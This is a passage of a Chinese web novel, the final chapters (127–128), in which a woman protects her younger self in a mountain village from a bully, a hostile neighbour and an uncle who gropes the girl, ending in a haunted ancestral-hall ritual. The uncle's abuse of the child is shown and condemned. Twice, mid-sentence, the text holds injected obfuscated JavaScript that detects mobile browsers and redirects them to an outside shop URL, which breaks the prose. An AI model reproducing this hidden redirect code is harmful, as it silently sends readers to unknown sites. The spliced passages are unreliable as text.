它靠得太近,火星燎着它的尾巴尖尖,黑狗支愣着四脚蹦开,被宋言浇了一把凉水,方才扑灭。 于是皮毛油亮的黑狗也就变成了落水狗。 宋言捞起它,拿梳子给它一下下顺毛,心想这狗怎么看起来不太聪明的样子。 但是好像也不能对一条狗要求太高。 毕竟狗的脑容量是64毫升,人类的二十分之一。 女孩终于找到说话的机会,道:“你把他丢进河里了,真的没事吗?” 宋言把梳下来的毛揉成团,心不在焉道:“他不是也把你推进河里过吗?他还想推你进粪坑,但是没有成功。” 女孩:“可是如果......” “淹死了也是他自己活该。”宋言给黑狗理顺毛,把它从膝头放下来,“如果他死了,岂不更好,人披上鬼皮的那天起,就该想到自己会被更恶的鬼吃掉。” 宋言道:“所以啊,世界上本来也没有鬼,人扮鬼扮多了,也就以为自己是鬼了。可是你一棍子下去,鬼皮包着的还不是屎尿屁。” 女孩点点头,宋言丢下河的那个男孩总是找她麻烦,隔壁家嫂子说这是男孩子表达喜欢的方式,可是她没见过有哪一种“喜欢”,是要通过扔石子、推人下河来表达的。 她每次被欺负,只好远远躲开,大人不会管小孩这点事,她又打不过一群野小子,身边的黑狗纵是咬人时相当威猛,女孩却不愿让它得“恶犬”的名声。 咬人的恶犬,是要被送去屠宰场的。 所以也只好忍了。 但是这时候她看着宋言,心里隐隐升起一个念头,要是她能长这么高,这么有力气,就不用被打时只能忍了。 女孩又小声道:“我叔叔过几天会回来。” 叔叔是个好听的说法,宋言一想起二叔脖子上那颗油腻的猪头,筒子骨的香气都压不住那股恶心劲。 她尝试掀开一点锅盖,舀了勺汤,凑到嘴边,抿了一口,觉得味道淡了,于是拿来盐和酱油,打算提鲜增色。 女孩的神色在她拿来第五样调料的时候变了。 她走到宋言身边,犹犹豫豫地开口:“有没有一种可能,炖汤不需要放这么多调料。” 宋言心虚道:“还好吧,也就醋、生抽、老姜......” 女孩轻轻叹了口气:“你这么放下去,不是炖汤,是熬毒药。” 于是宋言掌勺的权力被迫交到了女孩手中。 宋言被发配去一旁看着女孩熬汤,黑狗身上的毛干了,又欢快地摇起尾巴,一下一下抽着宋言手心。 老实说,看着小时候的自己给自己做饭,这感觉很新奇,女孩炖汤显然不像宋言,只克制地放了几样调料,尝了一口,又将锅盖遮上。 筒子骨还要炖一会儿,才入味。 宋言看着乳白色的汤汁,心里忍不住开始想,她是怎么从白裙子厨神变成厨房毒妇的。 好像也是捡瓶子吃干脆面的时候,那时候并不是每次卖瓶子的钱都够吃饭,于是只好腆着脸去饭店后厨求人家施舍一点剩饭,天气热的时候,饭菜都是一股馊味。 好在没有生虫,宋言也就掺着酱油辣椒还有醋,什么都加一点,囫囵咽下去。 调料放多了,也就尝不出馊味了。 人总是习惯复制以往经验,于是后来她自己生活,也爱往锅里哐哐倒调料,朋友第一次来她家吃饭,惊讶于她家调料能药死一头牛。 宋言也只好笑笑,说是她手重,放多了。 她无论如何是不愿说那段过往的,说出来,好像摇尾乞怜的狗,在人面前展露自己的伤疤,求一点怜悯。 她不稀罕那点怜悯。 又过了一刻钟,汤炖好了,女孩把白裙子打了结,动作麻利地盛了三碗汤,汤上飘着点点浮沫,是髓。 一碗递给宋言,一碗放在地上,还有一碗在女孩手里。 汤碗很烫,宋言吹了吹汤面,涟漪层层荡开,狗毕竟脑容量有限,一头扎进碗里,被烫得嗷嗷直叫。 宋言和女孩却都笑起来。 碎铃般的笑声在屋内回荡,宋言眨了眨眼,冲女孩卖关子:“最近是枯季,河道的水只到大腿根,即使我在河心丢下他,也淹不死人,所以你猜猜他会怎么死?” 女孩不解,但还是猜测道:“不是淹死的话,被路过的大鱼叼走?” 宋言微笑:“不是哦,你再猜猜?” 女孩猜不出来,只好投降。 但是很快她就知道了他是怎么死的。 一阵急促的脚步声经过她们屋前,很快,隔壁屋子传来震天吼的咆哮声和哭声,那是隔壁家嫂子的声音。 “哪个该死的往老娘命根子身上下蛊!儿子啊,你怎么被虫子咬死了啊!” 女孩偷偷透过门缝看,地上摊着一具尸体,脖颈处露出森森白骨,脸上身上,竟无一处完好的皮肉。 隔壁嫂子抱着她儿子的尸骨,悲痛欲绝,把害她儿子的人从爹娘骂到上下十八代,妙语连珠,女孩第一次知道骂人还有这么多花样。 她也是第一次知道,原来天天教她温柔忍让的嫂子,自己也做不到这一点。 屋外又传来其他声音,七嘴八舌,像野蜂飞舞。 女孩听到有人道:“是宋家丫头把阿虎害死的!” 她脑中一愣,登时便要站起来辩解,可是站起来后又坐回去。 ......这话倒也没什么问题,阿虎的死确实和她脱不了干系。 那些人七嘴八舌,拼凑出一个支离破碎的真相,好像一个小女孩能把半大小子干翻后再抛尸一样。女孩听出那些人是同阿虎一起扔石子的人,心里翻涌上一阵晦暗的情绪。 愧疚吗懊悔吗恐惧吗? 她觉得都不是。 一股隐秘的感情从她脊柱流入四肢百骸,她长长吁出一口气,随即微笑起来。 这近似于大仇得报的畅快。 她跟着宋言走到门口,对面嫂子眼中射出两道如炬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591644|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光,嘶吼道:“宋家丫头,你好狠的心,阿虎不就喜欢和你玩嘛,你讨厌他不和他玩就算了,怎么还害死他!” 女孩站在宋言身后,被一群人围着,她理当是害怕的,但前面有人站着,她好似也多了许多勇气,争辩道:“不是我害他的,反而是他老是害我,他推我下河,河水好急,我差点爬不上来......他还差点把我推下排污池。” 排污池是个文雅的说法,但男孩子们都知道那是什么,一窝蜂哄闹地笑开。 直到宋言淡淡看了他们一眼,他们才像被阉的公鸡一样安静了。 宋言道:“你们哪只眼睛看见我家妹妹害死的那个......” 她低头扫了一眼阿虎的尸骨,嘴边蹦出三个字:“丑八怪。” “你!”隔壁嫂子一口气没喘上来,一时都忘了抱着她儿子的尸体,那具骨头哐地一下砸下来,身首分离,更应验了那三个字。 围着的男孩子一下子散开,生怕这大好头颅滚到他们脚边,上谁的身。 宋言淡淡道:“所以没有证据啊,你这么大的人了,总知道污蔑人是要亏阴德的。” 这嫂子脸色随即变得很难看,于是转头看向她的丈夫,她心里想得简单,文的不行,就来武的,拳头底下总要说真话。 她的丈夫却移开了眼,不敢与她对视。 说来好笑,这男人有这样一个剽悍的妻子和儿子,自己却懦弱极了,尤其是对着宋言,他本来就长得不高,还老驼背,看宋言甚至要仰头看,自然不想与对方冲突。 这嫂子见了丈夫的窝囊样,顿时火便从一簇烧成了两簇,她推了丈夫一把,转身自己同宋言交涉:“谁说没有证据,这群小子便是证据,他们可看见了,是你把阿虎丢到河里去的!” 旁边散开的男孩子稀稀落落地应和。 宋言还没说话,女孩先为她辩解了一遍。 女孩散开白裙子,裙摆垂到脚面,大大方方从她身后走出来,脚边蹲着条黑狗。 她一字一句道:“首先,河心的水位只到我大腿,根本不可能淹死阿虎,而且你也说了,他是被虫子咬死的,和我姐姐有什么关系?” 她这话说完,旁边的孩子堆里也响起叽叽喳喳的议论。 “对啊,现在河水很浅的,哪里淹得死人,别是阿虎自己脚滑摔倒了吧。”一个小一点的孩子说。 另一人却道:“但是阿虎身上不是被毒虫咬的吗?他之前还说要去抓虫蛇,说不定是想去蛇洞抓蛇,自己中了蛊毒呢?” 这群孩子没了阿虎这个带头的,也逐渐公帮公婆帮婆起来,各有各的看法,有的甚至对女孩升起怜悯之心。 议论声毒针般扎进嫂子心底,她打断这些人的议论,冲女孩道:“......就算如此,你竟然不拦着你姐姐?你忍心看着阿虎被丢进河里?” 女孩反问道:“我为什么要拦着我姐姐?阿虎和我有什么关系吗?” 嫂子怔愣了下,盯着她道:“阿虎最喜欢和你玩,可是你不爱和他玩,他只好跟在你屁股后面跑,想让你注意到他......” 宋言打断她:“可是刘家嫂子,我妹妹有说过她喜欢被跟着吗?她不生气,不发怒,你就真的当她没脾气了?” “而且,跟踪小姑娘难道是很值得炫耀的事情吗?你家阿虎不丢人,我还嫌他丢人呢!”宋言道。 嫂子被梗得说不出话来,只一声接一声道:“你......阿虎都这个样子了,你积点口德吧!” 宋言平静地看着她:“积德?这是你儿子,不是我儿子,况且没有你抱着孩子来我家门口哭丧的道理,有这时间,不如早点找地方埋了。” “毕竟,谁知道他怎么死的。” 宋言说完,另一只脚也撤进屋内,门“砰”地一声关上,尘土飞扬,落了刘家嫂子一头一脸。 屋内,女孩虽然刚才很有些气势,心中仍不安:“你就这样说是我姐姐,恐怕他们会找你麻烦。” 刘家嫂子是一下子没反应过来,等她纠集一大帮兄弟姊妹,她们都讨不了好去。 这地方在山里,没人管,几个姓氏聚了一块成了村,法律管不到的地方,人情行得通,但宋言小时候并没什么人情可言,自然也不会有人帮她。 女孩的担忧很有道理,虽然确实痛快,但她担心刘家嫂子的报复。 宋言却道:“你不用管,只要她发现她儿子真正的死因,她不敢闹大的。” 越是封建愚昧的地方,越是信天地鬼神,所以有祠堂、牌位。 好像对着天地这么拜上一拜,就算是把自己干过的亏心事开了层光,从此鬼神莫怪。 可是哪有这样的好事呢? 宋言垂眸,望着门缝里逐渐暗下来的天光,神情慢慢沉寂下去。 127. 大结局(三) 127 * 几日过去,刘家嫂子果然没有找两人麻烦,女孩心中好奇,忍不住问道:“这是怎么做到的?” 宋言道:“因为阿虎本来就不是我杀的。” 只要刘家嫂子瞧仔细阿虎的致命伤究竟在哪里,她不会再来找宋言麻烦。 反而她现在应该在惶恐,自己做错了什么惹来鬼神震怒。 女孩没听太懂,只好点点头,宋言看出她眼中迷茫,又添了一句:“其实也可以算是我杀的。” “反正你不必担心,不管是阿虎,还是别的什么,让你痛苦的人和事,我会为你一一除去。”宋言又盛了一碗汤,摆在桌腿旁,如此道。 宋言喊了一声小黑,守在门口的大黑狗便鱼一样游过来,咕噜咕噜喝干净碗中物。 女孩支着头看她:“可是你为什么帮我呢?” 女孩在想,这份礼物是不是太过贵重,宋言敢给她这份承诺,她却未必敢接,她还不清楚这份礼物暗中标好的价格。 说到底,谁又敢给出承诺,为另一个人的苦痛负责呢? 可是女孩想来想去,也想不明白,她身上,有什么对方可以图谋的呢? 宋言却没这么多念头,她只道:“你就当我我是你的仙女教母吧。” 女孩一愣,随即笑了,又想起她们见面时的场景,促狭道:“原来仙女教母不是坐着南瓜车来的。” 何止没有南瓜车,她是直接从天上掉下来的! 宋言摸了摸鼻子,有些尴尬:“我曾经也是有一条龙的。” 宋言不自觉往桌下看了眼。 女孩注意到她的动作,笑道:“你的龙不会和小黑一样,也是条大黑狗吧。” 宋言摇头:“不,我的龙是金色的,很小一条,老是喜欢缠在我手上。” 不过如果有再见面的一天,小龙应该也不认识她了。 宋言想到这里,倒也不觉得难过,大多数人都只有见一面的缘分,但她进入时空乱流见到的第一个人是她自己,由此可见,她确实和自己纠缠颇深。 如果冥冥之中自有天意,大概连老天爷都觉得,能救她的也只有她了。 门板“吱呀”一声响,黑狗冲外面吠了声,女孩看到来人,眼里的笑意顷刻没了踪影。 “二叔。”她低声道。 男人脸上的肥肉堆成一条条细线,在他脸上蠕动、曲折。他首先看了眼宋言,那双眼睛里射出诡异的光:“这是谁?言言,我就出去几天,你怎么给家里弄回不三不四的人来?” 女孩打断他:“这是我爹朋友家的姐姐,不是不三不四的人。” “你娘死后,你爹常年在外面鬼混,能有什么正经朋友?言言,你别是骗我。”二叔道。 女孩深吸一口气,违心道:“我爹在县城也是结交了不少朋友的,不是只会鬼混。” 二叔撇了撇嘴,懒得再去探究这对父女之间的关系,将一个包裹丢到女孩怀里,进了另一个房间。 离开堂屋时,他低头看了一眼桌底下的黑狗,不知在对谁说:“别人家的狗,天天往这跑,看来狗这东西,到底是养不熟。” 女孩神色比先前沉寂许多,她把包裹放在桌上,慢慢解开系带。 里面是一堆糖果,彩色玻璃纸包着水果硬糖,这是县里才有的东西,二叔每次从县里回来都会给她带一包。 用这点温情,维持两人间岌岌可危的关系。 宋言记得这种糖果,看着好看唬人,其实是县里便利店不要的过期糖果,这种糖果去掉了外包装,自然也没有生产日期,拿来糊弄小孩正合适。 女孩又把包裹系上,看了眼二叔的房门,那门留了条缝,像蓝胡子欲盖弥彰的钥匙。 于是她又望着宋言,欲言又止,最终道:“我二叔还有事交代我。” 她从板凳上起身,喝住要跟来的黑狗,自己朝那扇房门走去。 宋言在她快要走进去时,喊住她。 女孩站住,听到身后人道:“我说过的话,从不食言。” * 刘家堂屋。 阿虎的尸体摆在地上,周围一个女人在哭,其余人神情凝重。 刘家嫂子上次看见死人还是前几日,她那个年轻的弟妹趁夜跑出去,天还没亮就给逮了回来,等天亮的时候,她去井里打水,那天打上的水都有一股铁锈味。 她只算半个刘家人,所以没有人告诉她昨夜发生了什么,但她不蠢,猜也能猜个八九不离十。 她那时想,弟妹看着也不蠢,怎么干出这种糊涂事,家里孩子还要喂奶,地还要人种,怎么就这么不负责任。 现在“不负责任”的成了她的儿子,她倒是想不起来责怪他了。 几条虫子从阿虎头骨里钻出来,她伸手去抓,被家里兄弟阻止。 刘家嫂子堵在心口的气顿时发作:“阿虎被人害死了,你们不帮我出这口气也就算了!现在,我这个当娘的想为他收尸,你也要拦着我吗?” 她往地上“呸”了一口:“孬种!” 对方仍然没有松开手。 男女毕竟力气有别,抓住她的这个男人又正当盛年,刘家嫂子几次想挣开手腕,都没有成功。 她只好哀求:“刘达,阿虎好歹也是你侄子,你就忍心看他死不瞑目吗?” 刘达淡声道:“大嫂,你看仔细阿虎是怎么死的。” 她毫不犹豫道:“阿虎当然是被宋家新来的那个女人害死的!那女人邪得很,宋家那丫头也邪得很,我家阿虎命苦啊,被人下了蛊,就这么不明不白的死了!” 西南山区蛊毒盛行,越是山里,越流传虫蛊的说法,没哪家小孩不是听着这样的传说长大的。刘家嫂子脑子伶俐,看到虫子从阿虎头盖骨里钻出来,首先想到的就是有人拿蛊害了她儿子。 刘家嫂子长得粗犷,愤怒起来,面目愈加狰狞,刘达看着对方,忍不住捻了捻虎口。 他轻轻叹了口气,道:“大嫂,你看看他胸口。” 他松开她,拿根棍子挑开阿虎的上衣,没了衣物遮挡,他左胸的凹陷更加明显,就像被人隔着皮肉掏空了一样。 心脏、连同那一块的肋骨,都消失了。 刘家嫂子捂着嘴,“扑通”一声,屁股着地。 她久久说不出话,半晌才道:“......哪有这样的死法......阿虎死前该有多痛苦啊。” 刘达道:“这种死法不可能是人为,怕是阿虎冲撞了什么东西,你要是给他收尸,只怕你也要被盯上。” 刘家嫂子心中浮起一丝恐惧,可这点恐惧随即被更大的勇气占据,她道:“可是四弟,我是阿虎他娘,我要是不给他收尸,我还能指望谁呢?” 难道指望她无能的丈夫? 想到这里,她就忍不住对丈夫生出一丝怨怼之气。 刘达坐下来,又叹了口气:“大嫂,我之前就不赞成你们还用那种方法给二弟娶媳妇,现在不像从前,人心思活络了,你绑是绑不住的,这事也不好闹大。你们看,这些日子,多少人家的井都打不了水。” 刘家嫂子听出来他言外之意,道:“你是说,二弟妹冤魂作祟?可她也不该来索我家阿虎的命,我看还是和宋家那个女人有关系。” 不过说到这里,她又想到另一种可能。宋家新来的女人自称那丫头的姐姐,她对宋家亲戚不熟,也不知道是不是真有个姐姐,有就算了,如果没有,岂不是凭空多了个人出来。 凭空多出个不知来历的女人......甚至不知道她到底是不是人。 刘家嫂子久违地感到一丝恐惧。 事已至此,刘达安慰她:“以前这种事情也不是没有过,总之不要再胡乱死人了。麻烦大嫂转告关系好的几家,这几日都把家里人看紧点,有什么要处置的也等祭礼后说。” 女人喏喏点头。 刘达总算满意了,他每年这个时候都要千里迢迢回来参加祭礼,当然不是因为什么思乡之情,而是每个生在这片土地上的人,都逃不脱刻在骨血中的诅咒。 那诅咒蔓延在井水中,潜伏在土地里,奉养他们的□□与灵魂,也禁锢他们的双脚,将每一个企图踩在她们尸骨上远走高飞的人狠狠拽下来。 啪。 粉身碎骨。 于是便有了祭礼,每年特定的时间,各方游子总该回来一趟,祭奠祖先的魂灵,来昭告他们没有遗忘,以平死者怨灵。 今年也是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604065|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 ...... ...... 女孩回身阖上门,没上锁,留了条缝。 二叔皮肉松弛,已显出老态,因此虽然像猪,也是头肉质不太好的猪。 他没听到锁扣合上的声响,不太满意:“外头既然有客人,我们说私事,还是关上门好。” 他笃定女孩会听他的话,比起她那个和死了没什么差别的爹,他这个二叔可谓是她的再生父母。 他还记得第一次见到她的时候,他从县里办完事回来,正好撞见小姑娘被他堂哥追着打,缘由好像是她饿极了,便吃了缸里最后一点米。 那米也是生虫的米。 他心中那点恻隐之心被唤醒,见女孩哭得可怜,便送了堂哥一袋米。 后来他发现被唤醒的可能不止是恻隐之心,还有他接近暮年时才迟迟燃起的爱欲之火。 他送给女孩白裙子,粉袄子,她穿上果然很好看,白色清丽,粉色娇俏,都很衬她。 也难为堂哥那头猪能生出这样神仙人品的女孩儿。 不过纵是他有这样的想法,也觉得小姑娘年纪还小,不如再过几年,至少要等来了月事,才好说亲。 他当然没想过自己配不配,开玩笑,他可是宋家这一代混得最好的,在县里都有套房子,要不是惦记这个小姑娘,怕她受欺负,干嘛三番五次回山里看她。 为了她,那个好吃懒做的堂哥可没少拿他好处。 这屋子原本也是他的,他看小姑娘可怜,跟着堂哥住在四面漏风的草棚里,便给了她屋子的钥匙。他时常寻思,自己都做到这个地步了,她心中肯定有所触动吧。 于是他定下心来,道:“二叔好久没见你了,来,让二叔看看,是不是又长高了。” 说着是看,他手直接摸上女孩大腿,隔着一层布料,他脸上浮现出痴迷的表情,像喝醉了酒。 女孩低头,看见他脸上波浪般颤动的肥肉,一阵一阵,啤酒肚上下起伏。 这是头膘肥体壮的猪。 好恶心,好想吐。 女孩忍住了。 就当作每个月都要流几天血,反正一个月就几天,捱过去也就算了。 女孩不太清楚为什么自己会定期流血,此前二叔还问过她有没有月事,于是她知道了这种血的名字。 她隐隐觉得自己该答没有,流血的事情也不该让别 人知道,于是一直瞒着,流的时候就拿卫生纸垫着,一直瞒到今天。 那只手快要摸到内裤边缘的时候,女孩按住了他的手。 二叔怔愣片刻,他惊讶于女孩明显的反抗,在他眼里反抗其实是一种欲拒还迎,女人撩拨男人的伎俩。但女孩儿显然还不算女人,没有学会这种策略。 他就有些困惑了,女孩扼住他手腕,悬在半空,像捏着什么罪证。 他听见她说:“二叔,男女有别,这不成体统。” 二叔觉得有些尴尬,干笑两声:“我年纪比你大这么多,在我眼里,你还是刚生出来的小娃娃,哪里有男女之分?我不过是太久没看见你,想你了。” 她意味深长的“哦”了一声,道:“原来你也知道你努努力,都能再生一个我了。” 二叔脸上挂不住了,轻叱道:“言言,你今天怎么跟个炮仗似的,一点就着?” 像炮仗吗? 她不过是在陈述事实,就要被扣上“炮仗”的帽子吗? 女孩沉默地想,其实当炮仗也是要勇气的,没有可以信任的靠山,这点勇气便被埋在心里,种子也就被焖成豆子,装盘上桌。 所以她觉得自己还是幸运的,今天有人和她说,要当她的仙女教母。 二叔看她不说话了,又道:“算了,你还小,我不和你计较,以后不要顶撞长辈。真是,也不知道哪里学来的。” 二叔顿时没了兴致,挥手让她出去,她求之不得,出门时脚步都是轻快的。 在女孩出门的那一刻,他忽然想起件事,又叫住她。 他漫不经心道:“过几日咱们几家要开祠堂,行祭礼,这是传统,你不要迟到。” 半晌,他又想起什么,补充道:“你母亲好像也会出现在祭礼上。” 128. 大结局(四) 128 * 祠堂在后山,紧挨着坟地。 只有这一天,村里的人才来得这样齐,祠堂里汇集了乌泱泱几百口人,女孩来的时候,还不断有人进去。 她在门口张望了一会,心想祠堂修得这样气派,不知是光宗耀祖,还是心中有愧。 有人已经在祠堂等她很久。 刘家嫂子叉着腰,一见她就红了眼:“你还敢来?祖先牌位在上,要是他们活过来,看见我家阿虎被你害死,是要撕烂你的嘴的!” 她往女孩身后看了一眼,没看到那道让她昼夜难安的身影,胆子顿时大起来,一个不知道是人是鬼的东西她会怕,但是一个小丫头片子,她可不怕! 她还要当着这么多人的面,为她儿子讨回公道。 女孩没有说话,今天她不是一个人来的,身前还站着二叔和她爹,祭礼对村里的人来说是大事,即使她爹平日在外面鬼混,这天也会回祠堂。 按照规矩,对方对她这个小辈发难,也该长辈回。 她爹昨晚喝了酒,现在还不太清醒,只听到有人训斥自己女儿,便道:“听到没,去给人家赔礼道歉。” 刘家嫂子于是得意起来:“看来你家还是有个懂规矩的。” 她又道:“可是我家阿虎没了命,难道道歉就有用吗?” 那醉醺醺的男人被架到高台,登时来了劲:“那你说怎样才算了,我家养个女儿也不容易,你说她害死人,也要证据。” 女孩冷眼瞧着两人踢皮球,一言不发,外人看着,好像这孩子被突如其来的发难吓着了一般,便有人劝道:“算了吧,今日祭礼,难道你还想人家偿命不成。” 言语之间,竟已经断定是她害死了阿虎。 醉汉却以为这人是帮自己说话,连连点头:“对啊,刘嫂,还在祠堂呢,祖先牌位前,慎言。” 刘嫂不依不饶:“我就是要在祠堂讨个公道!那么多人都看见了,你家丫头害我儿子落水,之后就有人找到了他的尸骨,祖先牌位在上,若是没个公道,我也不活了!” 她哭道:“我们老刘家就这么一个嫡长孙,我就这么一个儿子,还、还被这丧门星给害死了!” 醉汉额间青筋突突地跳,他向来对女人哭没办法,自己家的可以打,别人家的,打坏了还要赔钱,不值当。 于是他推了一把身后的女儿,努嘴道:“去,做错了事就该道歉。” 女孩踉跄几步,方才站稳,脸上浮出一点红晕,像是刚才被推那一下就不胜霜雪。 这点嫣红缀在她苍白的脸上,不似花叶零落,倒似海棠吐蕊。 刘嫂心中便浮起念头,长成这样,也难怪阿虎爱追在人家屁股后面跑。 气氛僵持不下,见周围的人越来越多,她语气放缓:“邻舍一场,我并不想闹大,但总该有个交代,要不你们赔钱了事,要么......” 说这话的时候,她望向站在一旁,一直没有说话的二叔。 她顿了下,才说完后面的话:“要么你家赔我个孩子,阿虎还没成过亲就去了,我怕他被人笑话,你家女孩儿得给我家阿虎做媳妇。” 这便是要配阴亲还白得一个女儿的意思了,旁边围观的人有些已经在议论了,更多的是在看笑话,他们巴不得闹得更大点好。 祭礼年年都有,笑话可不是天天能看。 醉汉在人群围过来的时候已经不太高兴了,但顾念这是祠堂,到底忍着。听到刘嫂的要求,他不是没想过息事宁人,但问题就在,他这个便宜女儿总不能同许两家。 他只好望向一旁的堂弟,这事他们是商量过的。 两道目光同时集中在他身上,二叔微微挑眉,奈何脸上千沟万壑,看起来倒像条晚年发福的癞皮狗。 他缓缓道:“言言才多大,这未免残忍了些,不如我替她赔你点钱算了。” 他目光转了一道,没有看刘家嫂子,倒是去寻女孩,他有些遗憾,没有在小姑娘眼中看到感激涕零的神情。 刘家嫂子神情有些松动,她本来就是要出一口气,挑着祠堂发作,也是看那女鬼不在。 二叔便懂了,拍了拍女孩肩膀:“去,给刘嫂磕个头,此事便算了了。” 就这么了了吗? 女孩蓦地抬头,她方才一直不说话,旁人便默认她是怯懦,但是此时真正看清她的神情,他们才发现,这孩子不是胆小得说不出话,而是不在乎旁人说什么。 包括刘嫂大放厥词,她也毫不动容。 她淡淡地扫了一眼周围的人,明明一句话都没有说,却让人觉得这样一个人,是不该被欺侮的。 二叔心中升上一丝不安,觉得事情有些脱出控制,可是仔细想来,这种超脱掌控感并不是今日才有的,而是早在几日前,女孩扼住自己手腕时就有了。 他企图找回做长辈的权威:“言言,听话,给人道歉。” “磕头”变成了道歉,但是已经没人在意这点言语官司。 因为女孩的话更石破天惊。 她挺直脊梁骨,眼睛一眨不眨,道:“我凭什么给她道歉呢?就因为你们强行把莫须有的罪名安在我头上,我就必须吃这口屎不成?” 她又冲刘嫂冷笑道:“给你做儿媳妇?哈,你也不撒泡尿照照自己,你配吗?你那个儿子配吗?” 她往地上唾了一口:“我看是‘呸’!” 众人震惊。 对付刘嫂这种人,你不能和她讲理,她自有一番胡搅蛮缠的道理,但你可以比她更疯,恶鬼只会怕更恶的鬼,恶人也只会怕更恶的人。 这是宋言教给她的道理。 几点唾沫星子溅到刘嫂脸上,她生平哪里受过这种辱,下意识便要呸回去,但看见女孩兽般锋锐的眼神,她心里又犹豫了下。 这一退,便再也进不了了。 刘达终于站出来阻止这场闹剧,他挡在刘家嫂子身前,隐晦地看了眼女孩,道:“这是祠堂,不是你们撒泼的地方。” 一句话,各打五十大板,给两人之间的争斗划上句号。 围观的人逐渐散开,其中一方偃旗息鼓,这架也就没什么好看了。 看着刘家人走远,二叔才道:“言言,谁教你的这些话,这可不是好女孩儿该说的。” 他看着这孩子的模样,觉得自己作为长辈,有必要管一管,哪有女孩儿出口成脏的,就算是以后跟了自己,也是要改过来的。 女孩却道:“二叔,你说我娘是好女孩儿吗?” 二叔沉吟片刻,答:“这......当然是的。” 牌位还在十几米外摆着,他敢说不是吗? 不然晚上该做噩梦了。 女孩随即笑道:“二叔,那‘好女孩儿’的牌坊有让屋后井里的水更清一点吗?” 山人信奉水鬼会被困在溺死的地方,永世不得超脱,因此尸骨是绝对不能埋进土里的,不然便会污染了稼穑的土地。 后山的坟地,也大多是衣冠冢。 二叔便不好说话了。 他看见女孩盈盈一笑,从他身前经过,竟是直接绕过他,往祠堂里头去了。 他目送女孩进去,心里忽然升起一种预感——她会离他越来越远,最后永远消失在他视线里。 ...... 祠堂里间是很安静的。 先前在外间看热闹不嫌事大的人,进了里面,也自觉收敛声量,低头垂眸,一派虔诚。 人群潮水般从女孩眼前穿过,这潮水也是安静的潮水,一波接着一波,依次到祖先牌位前祭拜。 轮到女孩时,她下意识看向角落的位置,那边的牌位平白矮上一截,祠堂祭祀亡人,在死人间也要分出高下。 但如果不是因为那个古老的传说,这些牌位连摆上去的资格都没有。 相传灾年典妻,易子而食,孩子拆吃入腹,算是死有所终,被卖出去的女人却无法在他乡下葬。于是每逢中元,魂归故里,祠堂祭礼的传统便是此时定下。 但到了后来,这宛如招魂的仪式变成了镇魂,人靠地吃不起饭,便要吃人。可是人被吃了,自然也有怨气,便有人想了个法子——借祠堂祭礼镇压,以平死人怨气。 祭的也不止是祖先,更是山神。 祠堂正中央铸着座泥瓷像,彩漆金像,比周围的牌位又硬生生高上许多,女孩盯着那座神像看了太久,身后的人已经不耐烦,开始推她。 于是女孩深深地看了那尊泥像一眼,随即拜了下去。 她心想,泥菩萨塑了金身,可不还是泥做的嘛。 香还在烧。 低沉的诵经声在祠堂内回荡,女孩觉得心口有些闷,刚想出去,身边忽然多了一个人。 那人身形高大,往旁边一站,影子落下来,像无可遁逃的网。 女孩眼睫倏忽一眨,干脆在板凳上坐下了。 刘达盯着女孩素白的脸,光线昏暗的地方,她不说话,便像神龛上摆着的瓷娃娃,极尽文静纤弱之美,若不是他先前瞧见她如何骂人,气势之盛,怕是也难免生出惜弱之意。 他想起大嫂口中种种,道:“今日你那个姐姐为何没来?” 女孩没有说话,一心修她的闭口禅。 刘达于是换了种说法:“祠堂每年行祭礼,是为了镇魂,祭礼前后总有死魂逃逸,但不论什么鬼怪,都会在祭礼后七天内被抓回来。” 他道:“我想是那鬼迷了你心智。” 女孩沉默了半天,终于开口:“她不是鬼。” 刘达便道:“这并不是你一句话可以断定的。你想想,那女人是不是凭空出现,没有人见过她,你也是第一次见她,就这么相信她?” “所以阿虎的死我并不怪你,这非人力所为,你只消告诉我那女鬼去了哪,趁着今日祭礼,我们请神将她捉来,镇在祠堂下,此后阿虎的死便和你没有任何关系了。” 刘达脸上缓缓绽开一个笑,他觉得自己足够诚恳,足以撬开小姑娘的嘴。 女孩却语气有些微妙:“请神捉来,镇压在祠堂底下?你们一直都是这么干的吗?” 刘达觉得这话有点怪,没来得及细思,不远处传来哗啦啦的倒牌声,门口吹来一阵狂风,摧枯拉朽般拔了蜡。 祠堂顿时漆黑一片。 这下,连唱经声都安静了。 大多人对祭礼本来就烦,这下更是觉得晦气,要不是被家里长辈压来,早脚底抹油溜了。这下蜡烛灭了,牌位又大珠小珠落了一地,便有心思活络的想趁机溜走。 这人刚踏出一步,人群中便传来尖锐的鬼喊鬼叫。 他顿时觉得无语,这把戏小时候玩玩就算了,现在还有人爱玩,看来人的本质就是不断重复。 可下一秒他也叫了起来。 又是一阵狂风卷过,也不知地上的牌位是什么做的,竟就被这样卷得飞了起来,木板在空中碰撞,锵锵地响,像细碎的铃声。 女孩听着那招魂似的铃声,蓦地从凳上站了起来,板凳随着发出“哐当”一声响。 这响声在混乱的祠堂中已经算轻微,却如鼓点般在刘达心上敲了一记,他莫名有点心慌,试图从女孩身上找回掌控感:“这是什么?” 室内漆黑一片,他该是看不清女孩神情的,但在铃声响起的那一刻,他凭着想象,从女孩的嗓音里窥见一个笑。 她嘴唇张开,露出猩红的舌、细密的齿,道:“是人啊,可对你来说,也算鬼了。” 女孩朝门口走去,刘达直觉不能就这么让 